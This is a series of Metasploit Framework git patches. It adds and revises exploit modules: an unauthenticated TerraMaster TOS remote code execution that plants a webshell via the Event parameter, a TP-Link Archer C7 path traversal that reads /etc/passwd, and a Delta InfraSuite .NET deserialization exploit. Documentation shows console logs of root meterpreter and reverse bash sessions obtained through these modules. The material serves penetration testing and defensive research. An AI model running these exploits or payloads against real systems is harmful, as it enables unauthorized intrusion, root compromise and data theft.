Rex::Text.rand_text_alphanumeric(1..8) + + # Upload PHP payload + webshell = if target['Type'] == :php + "http|echo \"\" > #{@webshell_name}||" + else + "http|echo \"\" > #{@webshell_name}||" + end + + return send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'include', 'makecvs.php'), + 'ctype' => 'application/x-www-form-urlencoded', + 'vars_get' => { + 'Event' => webshell.to_s + } + }) + end + + def get_terramaster_info + # get Terramaster CPU architecture (X64 or ARM64) and TOS version + @terramaster = {} + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'tos', 'index.php?user/login') + }) + + if res && res.body && res.code == 200 + # get the version information from the request response like below: + # + return if res.body.match(/ver=.+?"/).nil? + + version = res.body.match(/ver=.+?"/)[0] + # check if architecture is ARM64 or X64 + if version.match(/_A/) + @terramaster['cpu_arch'] = 'ARM64' + elsif version.match(/_S/) || version.match(/_Q/) + @terramaster['cpu_arch'] = 'X64' + else + @terramaster['cpu_arch'] = 'UNKNOWN' + end + + # strip TOS version number and remove trailing double quote. + @terramaster['tos_version'] = version.split('.0_')[1].chop + end + end + + def execute_php(cmd, _opts = {}) + payload = Base64.strict_encode64(cmd) + send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'include', @webshell_name), + 'ctype' => 'application/x-www-form-urlencoded', + 'vars_post' => { + @post_param => payload + } + }) + end + + def execute_command(cmd, _opts = {}) + payload = Base64.strict_encode64(cmd) + php_cmd_function = datastore['COMMAND'] + send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'include', @webshell_name), + 'ctype' => 'application/x-www-form-urlencoded', + 'vars_get' => { + @get_param => php_cmd_function + }, + 'vars_post' => { + @post_param => payload + } + }) + end + + def check + get_terramaster_info + return CheckCode::Safe if @terramaster.empty? + + if @terramaster['tos_version'] <= '4.2.06' + return CheckCode::Vulnerable("TOS version is #{@terramaster['tos_version']} and CPU architecture is #{@terramaster['cpu_arch']}.") + else + return CheckCode::Safe("TOS version is #{@terramaster['tos_version']} and CPU architecture is #{@terramaster['cpu_arch']}.") + end + end + + def exploit + res = upload_webshell + fail_with(Failure::UnexpectedReply, 'Web shell upload error.') if res.nil? || (res.code != 200) + register_file_for_cleanup(@webshell_name.to_s) + + print_status("Executing #{target.name} for #{datastore['PAYLOAD']}") + case target['Type'] + when :php + execute_php(payload.encoded) + when :unix_cmd + execute_command(payload.encoded) + when :linux_dropper + # Don't check the response here since the server won't respond + # if the payload is successfully executed. + execute_cmdstager(linemax: 65536) + end + end +end From c5ff96fdfe68a2e86dafcbf814656f67f7ca07c4 Mon Sep 17 00:00:00 2001 From: ErikWynter Date: Mon, 5 Jun 2023 15:40:27 +0300 Subject: [PATCH 288/415] grafana_plugin_traversal bugfix --- .../scanner/http/grafana_plugin_traversal.rb | 14 +++++++++++--- 1 file changed, 11 insertions(+), 3 deletions(-) diff --git a/modules/auxiliary/scanner/http/grafana_plugin_traversal.rb b/modules/auxiliary/scanner/http/grafana_plugin_traversal.rb index 7c4c734e43be6..e14f6f650e8b3 100644 --- a/modules/auxiliary/scanner/http/grafana_plugin_traversal.rb +++ b/modules/auxiliary/scanner/http/grafana_plugin_traversal.rb @@ -62,10 +62,18 @@ def check }) return Exploit::CheckCode::Unknown unless res && res.code == 200 - /"subTitle":"Grafana v(?\d{1,2}.\d{1,2}.\d{1,2}) \([0-9a-f]{10}\)",/ =~ res.body - return Exploit::CheckCode::Safe unless version + # We need to take into account beta versions, which end with -beta. See: https://grafana.com/docs/grafana/latest/release-notes/ + /"subTitle":"Grafana v(?\d{1,2}\.\d{1,2}\.\d{1,2}(?:-beta\d)?) \([0-9a-f]{10}\)",/ =~ res.body + return Exploit::CheckCode::Safe unless full_version + + # However, since 8.3.1 does not have a beta, we can safely ignore the -beta suffix when comparing versions + # In fact, this is necessary because Rex::Version doesn't correctly handle versions ending with -beta when comparing + if /-beta\d$/ =~ full_version + version = Rex::Version.new(full_version[0..-7]) + else + version = Rex::Version.new(full_version) + end - version = Rex::Version.new(version) if version.between?(Rex::Version.new('8.0.0-beta1'), Rex::Version.new('8.0.7')) || version.between?(Rex::Version.new('8.1.0'), Rex::Version.new('8.1.8')) || version.between?(Rex::Version.new('8.2.0'), Rex::Version.new('8.2.7')) || From 12f59d54df195365dedf04a323337be3eed5c1c1 Mon Sep 17 00:00:00 2001 From: ErikWynter Date: Mon, 5 Jun 2023 15:49:06 +0300 Subject: [PATCH 289/415] print the full version to the console --- modules/auxiliary/scanner/http/grafana_plugin_traversal.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/auxiliary/scanner/http/grafana_plugin_traversal.rb b/modules/auxiliary/scanner/http/grafana_plugin_traversal.rb index e14f6f650e8b3..2e718bbe07234 100644 --- a/modules/auxiliary/scanner/http/grafana_plugin_traversal.rb +++ b/modules/auxiliary/scanner/http/grafana_plugin_traversal.rb @@ -78,10 +78,10 @@ def check version.between?(Rex::Version.new('8.1.0'), Rex::Version.new('8.1.8')) || version.between?(Rex::Version.new('8.2.0'), Rex::Version.new('8.2.7')) || version.between?(Rex::Version.new('8.3.0'), Rex::Version.new('8.3.1')) - print_good("Detected vulnerable Grafina: #{version}") + print_good("Detected vulnerable Grafina: #{full_version}") return Exploit::CheckCode::Appears end - print_bad("Detected non-vulnerable Grafina: #{version}") + print_bad("Detected non-vulnerable Grafina: #{full_version}") return Exploit::CheckCode::Safe end From ba3d6dc0f917377db54ff8a97fe49a7100377a12 Mon Sep 17 00:00:00 2001 From: ErikWynter Date: Mon, 5 Jun 2023 16:21:00 +0300 Subject: [PATCH 290/415] fix typo in print statement from original module --- modules/auxiliary/scanner/http/grafana_plugin_traversal.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/auxiliary/scanner/http/grafana_plugin_traversal.rb b/modules/auxiliary/scanner/http/grafana_plugin_traversal.rb index 2e718bbe07234..7c304f8dc33e4 100644 --- a/modules/auxiliary/scanner/http/grafana_plugin_traversal.rb +++ b/modules/auxiliary/scanner/http/grafana_plugin_traversal.rb @@ -78,10 +78,10 @@ def check version.between?(Rex::Version.new('8.1.0'), Rex::Version.new('8.1.8')) || version.between?(Rex::Version.new('8.2.0'), Rex::Version.new('8.2.7')) || version.between?(Rex::Version.new('8.3.0'), Rex::Version.new('8.3.1')) - print_good("Detected vulnerable Grafina: #{full_version}") + print_good("Detected vulnerable Grafana: #{full_version}") return Exploit::CheckCode::Appears end - print_bad("Detected non-vulnerable Grafina: #{full_version}") + print_bad("Detected non-vulnerable Grafana: #{full_version}") return Exploit::CheckCode::Safe end From 4e91a4e93d4713ac76aa38e18319fa9ac0acfb5d Mon Sep 17 00:00:00 2001 From: Jeffrey Martin Date: Fri, 2 Jun 2023 16:32:37 -0500 Subject: [PATCH 291/415] refactor archer_c7_traversal as `gather` module * Update modules landed as a scanner into a more appropriate category. * Adds a check method based on TP-link default `TITLE` html. * Rename module consistent with existing exploit. --- .../tplink_archer_c7_traversal.md} | 11 ++++++---- .../tplink_archer_c7_traversal.rb} | 22 +++++++++++++++++-- 2 files changed, 27 insertions(+), 6 deletions(-) rename documentation/modules/auxiliary/{scanner/http/archer_c7_traversal.md => gather/tplink_archer_c7_traversal.md} (74%) rename modules/auxiliary/{scanner/http/archer_c7_traversal.rb => gather/tplink_archer_c7_traversal.rb} (79%) diff --git a/documentation/modules/auxiliary/scanner/http/archer_c7_traversal.md b/documentation/modules/auxiliary/gather/tplink_archer_c7_traversal.md similarity index 74% rename from documentation/modules/auxiliary/scanner/http/archer_c7_traversal.md rename to documentation/modules/auxiliary/gather/tplink_archer_c7_traversal.md index fc9fd68f03a85..5c08ee32f3dc9 100644 --- a/documentation/modules/auxiliary/scanner/http/archer_c7_traversal.md +++ b/documentation/modules/auxiliary/gather/tplink_archer_c7_traversal.md @@ -15,7 +15,7 @@ Use this option to save the file found as loot ## Verification Steps -1. `use auxiliary/scanner/http/archer_c7_traversal` +1. `use auxiliary/gather/tplink_archer_c7_traversal` 2. `set RHOSTS ` 3. `set FILE ` 4. `run` @@ -25,11 +25,14 @@ Use this option to save the file found as loot ### Archer C7_V1_141204_US ``` -msf6 > use auxiliary/scanner/http/archer_c7_traversal -msf6 auxiliary(scanner/http/archer_c7_traversal) > set rhosts 192.168.0.1 +msf6 > use auxiliary/gather/tplink_archer_c7_traversal +msf6 auxiliary(gather/tplink_archer_c7_traversal) > set rhosts 192.168.0.1 rhosts => 192.168.0.1 -msf6 auxiliary(scanner/http/archer_c7_traversal) > run +msf6 auxiliary(gather/tplink_archer_c7_traversal) > run +[*] Running module against 192.168.0.1 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target appears to be vulnerable. Target device 'Archer C7' [*] Grabbing data at /login/../../../etc/passwd [+] /etc/passwd retrieved root:x:0:0:root:/root:/bin/sh diff --git a/modules/auxiliary/scanner/http/archer_c7_traversal.rb b/modules/auxiliary/gather/tplink_archer_c7_traversal.rb similarity index 79% rename from modules/auxiliary/scanner/http/archer_c7_traversal.rb rename to modules/auxiliary/gather/tplink_archer_c7_traversal.rb index 02876fb605ced..b43f88a4d3db1 100644 --- a/modules/auxiliary/scanner/http/archer_c7_traversal.rb +++ b/modules/auxiliary/gather/tplink_archer_c7_traversal.rb @@ -4,8 +4,11 @@ ## class MetasploitModule < Msf::Auxiliary + include Msf::Exploit::Deprecated + moved_from 'auxiliary/scanner/http/archer_c7_traversal' + include Msf::Exploit::Remote::HttpClient - include Msf::Auxiliary::Scanner + prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( @@ -40,7 +43,22 @@ def initialize(info = {}) ) end - def run_host(_ip) + def check + res = send_request_raw({ + 'method' => 'GET', + 'uri' => '/' + }) + return Exploit::CheckCode::Unknown unless res + + device_title = res.get_html_document&.at('//title')&.text + if device_title =~ /Archer C\d/ + return Exploit::CheckCode::Appears("Target device '#{device_title}'") + end + + Exploit::CheckCode::Safe('Target does not appear to be an Archer Cx router.') + end + + def run uri = normalize_uri('/login/../../../', datastore['FILE']) print_status("Grabbing data at #{uri}") res = send_request_raw({ From 00e39eb540d569abc7a39b05d10909299961420d Mon Sep 17 00:00:00 2001 From: h00die-gr3y Date: Mon, 5 Jun 2023 14:54:31 +0000 Subject: [PATCH 292/415] updated CMD stager order --- .../linux/http/terramaster_unauth_rce_cve_2020_35665.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/linux/http/terramaster_unauth_rce_cve_2020_35665.rb b/modules/exploits/linux/http/terramaster_unauth_rce_cve_2020_35665.rb index aae0219340bdf..eafb15df770b6 100644 --- a/modules/exploits/linux/http/terramaster_unauth_rce_cve_2020_35665.rb +++ b/modules/exploits/linux/http/terramaster_unauth_rce_cve_2020_35665.rb @@ -69,7 +69,7 @@ def initialize(info = {}) 'Platform' => 'linux', 'Arch' => [ARCH_X64, ARCH_X86, ARCH_AARCH64], 'Type' => :linux_dropper, - 'CmdStagerFlavor' => ['wget', 'curl', 'printf', 'echo', 'bourne'], + 'CmdStagerFlavor' => ['printf', 'echo', 'bourne', 'wget', 'curl'], 'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' } From 70d0b5eee6e19fe5e220ed45bd534d47d0932e9d Mon Sep 17 00:00:00 2001 From: Metasploit Date: Mon, 5 Jun 2023 11:20:27 -0500 Subject: [PATCH 293/415] automatic module_metadata_base.json update --- db/modules_metadata_base.json | 118 +++++++++++++++++----------------- 1 file changed, 59 insertions(+), 59 deletions(-) diff --git a/db/modules_metadata_base.json b/db/modules_metadata_base.json index a97211f618d57..f284d03ad4e5e 100644 --- a/db/modules_metadata_base.json +++ b/db/modules_metadata_base.json @@ -22335,6 +22335,65 @@ "session_types": false, "needs_cleanup": false }, + "auxiliary_gather/tplink_archer_c7_traversal": { + "name": "Archer C7 Directory Traversal Vulnerability", + "fullname": "auxiliary/gather/tplink_archer_c7_traversal", + "aliases": [ + "auxiliary/scanner/http/archer_c7_traversal" + ], + "rank": 300, + "disclosure_date": "2015-04-08", + "type": "auxiliary", + "author": [ + "Nick Cottrell ", + "Anna Graterol ", + "Mana Mostaani " + ], + "description": "This module exploits a directory traversal vulnerability in the PATH_INFO found at /login/\n on TP-Link Archer C5, C7, and C9 routers of varying versions.", + "references": [ + "BID-74050 ", + "CVE-2015-3035" + ], + "platform": "", + "arch": "", + "rport": 80, + "autofilter_ports": [ + 80, + 8080, + 443, + 8000, + 8888, + 8880, + 8008, + 3000, + 8443 + ], + "autofilter_services": [ + "http", + "https" + ], + "targets": null, + "mod_time": "2023-06-02 16:32:37 +0000", + "path": "/modules/auxiliary/gather/tplink_archer_c7_traversal.rb", + "is_install_path": true, + "ref_name": "gather/tplink_archer_c7_traversal", + "check": true, + "post_auth": false, + "default_credential": false, + "notes": { + "Stability": [ + "crash-safe" + ], + "Reliability": [ + "repeatable-session" + ], + "SideEffects": [ + + ] + }, + "session_types": false, + "needs_cleanup": false + }, "auxiliary_gather/trackit_sql_domain_creds": { "name": "BMC / Numara Track-It! Domain Administrator and SQL Server User Password Disclosure", "fullname": "auxiliary/gather/trackit_sql_domain_creds", @@ -25963,65 +26022,6 @@ "session_types": false, "needs_cleanup": false }, - "auxiliary_scanner/http/archer_c7_traversal": { - "name": "Archer C7 Directory Traversal Vulnerability", - "fullname": "auxiliary/scanner/http/archer_c7_traversal", - "aliases": [ - - ], - "rank": 300, - "disclosure_date": "2015-04-08", - "type": "auxiliary", - "author": [ - "Nick Cottrell ", - "Anna Graterol ", - "Mana Mostaani " - ], - "description": "This module exploits a directory traversal vulnerability in the PATH_INFO found at /login/\n on TP-Link Archer C5, C7, and C9 routers of varying versions.", - "references": [ - "BID-74050 ", - "CVE-2015-3035" - ], - "platform": "", - "arch": "", - "rport": 80, - "autofilter_ports": [ - 80, - 8080, - 443, - 8000, - 8888, - 8880, - 8008, - 3000, - 8443 - ], - "autofilter_services": [ - "http", - "https" - ], - "targets": null, - "mod_time": "2023-05-17 12:39:02 +0000", - "path": "/modules/auxiliary/scanner/http/archer_c7_traversal.rb", - "is_install_path": true, - "ref_name": "scanner/http/archer_c7_traversal", - "check": false, - "post_auth": false, - "default_credential": false, - "notes": { - "Stability": [ - "crash-safe" - ], - "Reliability": [ - "repeatable-session" - ], - "SideEffects": [ - - ] - }, - "session_types": false, - "needs_cleanup": false - }, "auxiliary_scanner/http/atlassian_crowd_fileaccess": { "name": "Atlassian Crowd XML Entity Expansion Remote File Access", "fullname": "auxiliary/scanner/http/atlassian_crowd_fileaccess", From 9574c79d36756cee50a8dee5182619caa6766308 Mon Sep 17 00:00:00 2001 From: Grant Willcox Date: Mon, 5 Jun 2023 12:07:27 -0500 Subject: [PATCH 294/415] Remove extra code --- lib/msf/core/post/architecture.rb | 8 -------- 1 file changed, 8 deletions(-) diff --git a/lib/msf/core/post/architecture.rb b/lib/msf/core/post/architecture.rb index e3b2ab6a0dd35..88ef5a0916490 100644 --- a/lib/msf/core/post/architecture.rb +++ b/lib/msf/core/post/architecture.rb @@ -18,14 +18,6 @@ def initialize(info = {}) end def get_os_architecture - result = get_os_architecture_impl - if result.nil? - end - - result - end - - def get_os_architecture_impl if session.type == 'meterpreter' return sysinfo['Architecture'] else From 94ef437f9f248a7d8de7a961df0e6bc82979d36e Mon Sep 17 00:00:00 2001 From: Grant Willcox Date: Mon, 5 Jun 2023 12:10:10 -0500 Subject: [PATCH 295/415] Add in YARD documentation --- lib/msf/core/post/architecture.rb | 2 ++ 1 file changed, 2 insertions(+) diff --git a/lib/msf/core/post/architecture.rb b/lib/msf/core/post/architecture.rb index 88ef5a0916490..efc955af39437 100644 --- a/lib/msf/core/post/architecture.rb +++ b/lib/msf/core/post/architecture.rb @@ -17,6 +17,8 @@ def initialize(info = {}) ) end + # Get the architecture of the target's operating system. + # @return [String, Nil] Returns a string containing the target OS architecture if known, or Nil if its not known. def get_os_architecture if session.type == 'meterpreter' return sysinfo['Architecture'] From 52745a96d77b889065f8aa380e2622214882d3d7 Mon Sep 17 00:00:00 2001 From: h00die-gr3y Date: Mon, 5 Jun 2023 17:18:57 +0000 Subject: [PATCH 296/415] Added documentation --- .../terramaster_unauth_rce_cve_2020_35665.md | 192 ++++++++++++++++++ 1 file changed, 192 insertions(+) create mode 100644 documentation/modules/exploit/linux/http/terramaster_unauth_rce_cve_2020_35665.md diff --git a/documentation/modules/exploit/linux/http/terramaster_unauth_rce_cve_2020_35665.md b/documentation/modules/exploit/linux/http/terramaster_unauth_rce_cve_2020_35665.md new file mode 100644 index 0000000000000..53e5e01d612d0 --- /dev/null +++ b/documentation/modules/exploit/linux/http/terramaster_unauth_rce_cve_2020_35665.md @@ -0,0 +1,192 @@ +## Vulnerable Application + +This module is exploiting a vulnerability described in [CVE-2020-35665](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-35665) or +[CVE-2020-28188](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-28188) that allows an unauthenticated attacker to upload a webshell +via shell metacharacters in the `Event` parameter using the vulnerable endpoint `include/makecvs.php` during the `CSV` creation process. +See this [AttackerKB Article](https://attackerkb.com/topics/lXY4yjOvwx/cve-2020-35665) for more details. + +Because of this, any remote attacker, regardless of authentication, can exploit this vulnerability to gain +access to the underlying operating system as the user that the web services are running as (typically `root` in case of TerraMaster). + +Installing a vulnerable test bed requires a TerraMaster NAS device that can run `TOS 4.x` +This module has been tested against a TerraMaster `F2-210` Model with the specifications listed below: + +* TerraMaster F2-210 +* CPU: `x64` +* TOS Version: `4.1.27` + +## Verification Steps + +1. `use exploit/linux/http/terramaster_unauth_rce_cve_2020_35665` +1. `set RHOSTS ` +1. `set RPORT ` +1. `set LHOST ` +1. `set LPORT ` +1. `set TARGET <0-PHP, 1-Unix command or 2-Linux Dropper>` +1. `exploit` +1. You should get a `bash` shell or `meterpreter` session depending on the `target` and `payload` settings. + +## Options + +### WEBSHELL +You can use this option to set the filename and extension (should be .php) of the webshell. +This is handy if you want to test the webshell upload and execution with different file names. +to bypass any security settings on the Web and PHP server. + +### COMMAND +This option provides the user to choose the PHP underlying shell command function to be used for execution. +The choices are `system()`, `passthru()`, `shell_exec()` and `exec()` and it defaults to `passthru()`. +This option is only available when the target selected is either Unix Command or Linux Dropper. +For the native PHP target, by default the `eval()` function will be used for native PHP code execution. + +## Scenarios + +```msf6 exploit(linux/http/terramaster_unauth_rce_cve_2020_35665) > info + + Name: TerraMaster TOS 4.2.06 or lower - Unauthenticated Remote Code Execution + Module: exploit/linux/http/terramaster_unauth_rce_cve_2020_35665 + Platform: Unix, Linux + Arch: cmd, php, x64, x86, aarch64 + Privileged: No + License: Metasploit Framework License (BSD) + Rank: Excellent + Disclosed: 2020-12-12 + +Provided by: + h00die-gr3y + IHTeam + +Module side effects: + ioc-in-logs + artifacts-on-disk + +Module stability: + crash-safe + +Module reliability: + repeatable-session + +Available targets: + Id Name + -- ---- + => 0 PHP + 1 Unix Command + 2 Linux Dropper + +Check supported: + Yes + +Basic options: + Name Current Setting Required Description + ---- --------------- -------- ----------- + Proxies no A proxy chain of format type:host:port[,type:host:port][...] + RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html + RPORT 8181 yes The target port (TCP) + SSL false no Negotiate SSL/TLS for outgoing connections + SSLCert no Path to a custom SSL certificate (default is randomly generated) + TARGETURI / yes Path to Terramaster Web console + URIPATH no The URI to use for this exploit (default is random) + VHOST no HTTP server virtual host + WEBSHELL no Web shell name with extension .php. Name will be randomly generated if left unset. + + + When TARGET is not 0: + + Name Current Setting Required Description + ---- --------------- -------- ----------- + COMMAND passthru yes Use PHP command function (Accepted: passthru, shell_exec, system, exec) + + + When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http: + + Name Current Setting Required Description + ---- --------------- -------- ----------- + SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses. + SRVPORT 8080 yes The local port to listen on. + +Payload information: + +Description: + This module exploits an unauthenticated remote code-execution vulnerability in TerraMaster TOS 4.2.06 + and lower via shell metacharacters in the Event parameter at vulnerable endpoint `include/makecvs.php` + during CSV creation. + Any unauthenticated user can therefore execute commands on the system under the same privileges as the + web application, which typically runs under root at the TerraMaster Operating System. + +References: + https://nvd.nist.gov/vuln/detail/CVE-2020-35665 + https://nvd.nist.gov/vuln/detail/CVE-2020-28188 + https://packetstormsecurity.com/files/160685 + https://packetstormsecurity.com/files/160687 + https://www.ihteam.net/advisory/terramaster-tos-multiple-vulnerabilities/ + https://attackerkb.com/topics/lXY4yjOvwx/cve-2020-35665 +``` + +### TerraMaster F2-210 TOS 4.1.27 - PHP native `php/meterpreter/reverse_tcp` session +``` +msf6 exploit(linux/http/terramaster_unauth_rce_cve_2020_35665) > set target 0 +target => 0 +msf6 exploit(linux/http/terramaster_unauth_rce_cve_2020_35665) > exploit + +[*] Started reverse TCP handler on 192.168.10.1:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target is vulnerable. TOS version is 4.1.27 and CPU architecture is X64. +[*] Executing PHP for php/meterpreter/reverse_tcp +[*] Sending stage (39927 bytes) to 127.0.0.1 +[+] Deleted cuckoo.php +[*] Meterpreter session 5 opened (192.168.10.1:4444 -> 192.168.10.2:55766) at 2023-06-05 14:23:14 +0000 + +meterpreter > sysinfo +Computer : TerrorMaster +OS : Linux TerrorMaster 4.13.16 SMP Mon Jun 05 14:23:56 CET 2023 x86_64 +Meterpreter : php/linux +meterpreter > getuid +Server username: root +meterpreter > +``` +### TerraMaster F2-210 TOS 4.1.27 - Unix Command `cmd/unix/reverse_bash` session +``` +msf6 exploit(linux/http/terramaster_unauth_rce_cve_2020_35665) > set target 1 +target => 1 +msf6 exploit(linux/http/terramaster_unauth_rce_cve_2020_35665) > exploit + +[*] Started reverse TCP handler on 192.168.10.1:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target is vulnerable. TOS version is 4.1.27 and CPU architecture is X64. +[*] Executing Unix Command for cmd/unix/reverse_bash +[+] Deleted cuckoo.php +[*] Command shell session 6 opened (192.168.10.1:4444 -> 192.168.10.2:54556) at 2023-06-05 14:31:35 +0000 + +uname -a +Linux TerrorMaster 4.13.16 SMP Mon Jun 05 14:32:13 CET 2023 x86_64 GNU/Linux +id +uid=0(root) gid=0(root) groups=0(root) +``` +### TerraMaster F2-210 TOS 4.1.27 - Linux Dropper `linux/x64/meterpreter/reverse_tcp` session +``` +msf6 exploit(linux/http/terramaster_unauth_rce_cve_2020_35665) > set target 2 +target => 2 +msf6 exploit(linux/http/terramaster_unauth_rce_cve_2020_35665) > exploit + +[*] Started reverse TCP handler on 192.168.10.1:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target is vulnerable. TOS version is 4.1.27 and CPU architecture is X64. +[*] Executing Linux Dropper for linux/x64/meterpreter/reverse_tcp +[*] Sending stage (3045348 bytes) to 127.0.0.1 +[+] Deleted cuckoo.php +[*] Meterpreter session 7 opened (192.168.10.1:4444 -> 192.168.10.2:46174) at 2023-06-05 14:39:17 +0000 +[*] Command Stager progress - 100.00% done (810/810 bytes) + +meterpreter > sysinfo +Computer : 192.168.10.2 +OS : (Linux 4.13.16) +Architecture : x64 +BuildTuple : x86_64-linux-musl +Meterpreter : x64/linux +meterpreter > getuid +Server username: root +meterpreter > +``` + +## Limitations +No limitations. From 80e14846fe5feed734b3638899f0e2e11407a6c0 Mon Sep 17 00:00:00 2001 From: Metasploit Date: Mon, 5 Jun 2023 13:57:46 -0500 Subject: [PATCH 297/415] automatic module_metadata_base.json update --- db/modules_metadata_base.json | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/db/modules_metadata_base.json b/db/modules_metadata_base.json index f284d03ad4e5e..d8d9c2619f173 100644 --- a/db/modules_metadata_base.json +++ b/db/modules_metadata_base.json @@ -226843,7 +226843,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2023-06-05 13:36:30 +0000", "path": "/modules/post/multi/manage/shell_to_meterpreter.rb", "is_install_path": true, "ref_name": "multi/manage/shell_to_meterpreter", From 61539ac26031bc83631a0979273fa5b4a3fe0344 Mon Sep 17 00:00:00 2001 From: Ashley Donaldson Date: Tue, 6 Jun 2023 07:23:58 +1000 Subject: [PATCH 298/415] Fix VBS stager in shell_to_meterpreter. --- modules/post/multi/manage/shell_to_meterpreter.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/post/multi/manage/shell_to_meterpreter.rb b/modules/post/multi/manage/shell_to_meterpreter.rb index a9cbf1aece4f6..92a0e056f0030 100644 --- a/modules/post/multi/manage/shell_to_meterpreter.rb +++ b/modules/post/multi/manage/shell_to_meterpreter.rb @@ -287,7 +287,7 @@ def transmit_payload(exe, platform) # for an unlimited amount of time for the newly spawned session to exit. wait_for_cmd_result = i + 1 < cmds.length # Note that non-channelized cmd_exec calls currently return an empty string - ret = cmd_exec(cmds.last, nil, command_timeout, { 'Channelized' => wait_for_cmd_result }) + ret = cmd_exec(cmd, nil, command_timeout, { 'Channelized' => wait_for_cmd_result }) if wait_for_cmd_result if !ret aborted = true From a12b58df224d1b10f7c3bf9c821c982820c4aeef Mon Sep 17 00:00:00 2001 From: space-r7 Date: Mon, 5 Jun 2023 17:38:27 -0500 Subject: [PATCH 299/415] add cmdstager usage, description, and metadata --- ..._electronics_infrasuite_deserialization.rb | 31 ++++++++++++++----- 1 file changed, 24 insertions(+), 7 deletions(-) diff --git a/modules/exploits/windows/misc/delta_electronics_infrasuite_deserialization.rb b/modules/exploits/windows/misc/delta_electronics_infrasuite_deserialization.rb index d5d3999898afd..92654c16c8ebd 100644 --- a/modules/exploits/windows/misc/delta_electronics_infrasuite_deserialization.rb +++ b/modules/exploits/windows/misc/delta_electronics_infrasuite_deserialization.rb @@ -5,6 +5,7 @@ class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking + include Msf::Exploit::CmdStager include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::Udp prepend Msf::Exploit::Remote::AutoCheck @@ -13,8 +14,15 @@ def initialize(info = {}) super( update_info( info, - 'Name' => '', + 'Name' => 'Delta Electronics InfraSuite Device Master Deserialization', 'Description' => %q{ + Delta Electronics InfraSuite Device Master versions below v1.0.5 have an + unauthenticated .NET deserialization vulnerability within the 'ParseUDPPacket()' + method of the 'Device-Gateway-Status' process. + + The 'ParseUDPPacket()' method reads user-controlled packet data and eventually + calls 'BinaryFormatter.Deserialize()' on what it determines to be the packet header, + leading to unauthenticated code execution as the user running the 'Device-Gateway-Status' process. }, 'Author' => [ 'Anonymous', # Vulnerability discovery @@ -26,13 +34,15 @@ def initialize(info = {}) ['URL', 'https://www.zerodayinitiative.com/advisories/ZDI-23-672/'] ], 'Platform' => 'win', + 'Privileged' => false, + 'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64], 'Targets' => [ [ 'Windows EXE Dropper', { 'Arch' => [ARCH_X86, ARCH_X64], 'Type' => :windows_dropper, - 'DefaultOptions' => { 'PrependMigrate' => true } + 'CmdStagerFlavor' => :psh_invokewebrequest } ], [ @@ -49,8 +59,7 @@ def initialize(info = {}) 'Stability' => [CRASH_SAFE], 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS], 'Reliability' => [REPEATABLE_SESSION] - }, - 'Privileged' => true + } ) ) @@ -62,8 +71,7 @@ def initialize(info = {}) end def check - # js/webcfg.js - contains some version information - print_status('Requesting the login page to determine if target is Infrasuite Device Master...') + print_status('Requesting the login page to determine if target is InfraSuite Device Master...') res = send_request_cgi( 'method' => 'GET', 'rport' => datastore['INFRASUITE_PORT'], @@ -103,8 +111,17 @@ def check def exploit connect_udp + case target['Type'] + when :windows_dropper + execute_cmdstager + when :windows_cmd + execute_command(payload.encoded) + end + end + + def execute_command(cmd, _opts = {}) serialized = ::Msf::Util::DotNetDeserialization.generate( - payload.encoded, + cmd, gadget_chain: :ClaimsPrincipal, formatter: :BinaryFormatter ) From 5f7ae883f8228ff6a6f6df55be61b8ed3cebb279 Mon Sep 17 00:00:00 2001 From: space-r7 Date: Mon, 5 Jun 2023 17:38:58 -0500 Subject: [PATCH 300/415] add documentation --- ..._electronics_infrasuite_deserialization.md | 59 +++++++++++++++++++ 1 file changed, 59 insertions(+) create mode 100644 documentation/modules/exploit/windows/misc/delta_electronics_infrasuite_deserialization.md diff --git a/documentation/modules/exploit/windows/misc/delta_electronics_infrasuite_deserialization.md b/documentation/modules/exploit/windows/misc/delta_electronics_infrasuite_deserialization.md new file mode 100644 index 0000000000000..edccca098bf60 --- /dev/null +++ b/documentation/modules/exploit/windows/misc/delta_electronics_infrasuite_deserialization.md @@ -0,0 +1,59 @@ +## Vulnerable Application + +Delta Electronics InfraSuite Device Master versions below `v1.0.5` are vulnerable to +an unauthenticated .NET deserialization vulnerability. The `Device-Gateway-Status` process +listens on port `10100` and communicates over UDP. Its `ParseUDPPacket()` method reads user-controlled +data and passes what it determines to be the packet header to the `BinaryFormatter.Deserialize()` method, +resulting in code execution as the user running the `Device-Gateway-Status` process. + +### Installation Instructions + +## Verification Steps + +1. Install the application +2. Start msfconsole +3. Do: `use exploit/windows/misc/delta_electronics_infrasuite_deserialization` +4. Do: `set RHOST ` +5. Do: `set INFRASUITE_PORT ` +6. Do: `run` +7. You should get a meterpreter session. + +## Options + +### INFRASUITE_PORT + +This is the option on which the web-based InfraSuite Device Manager listens. It is +only used to check the version of the software to determine exploitability. 80 by default + +## Scenarios + 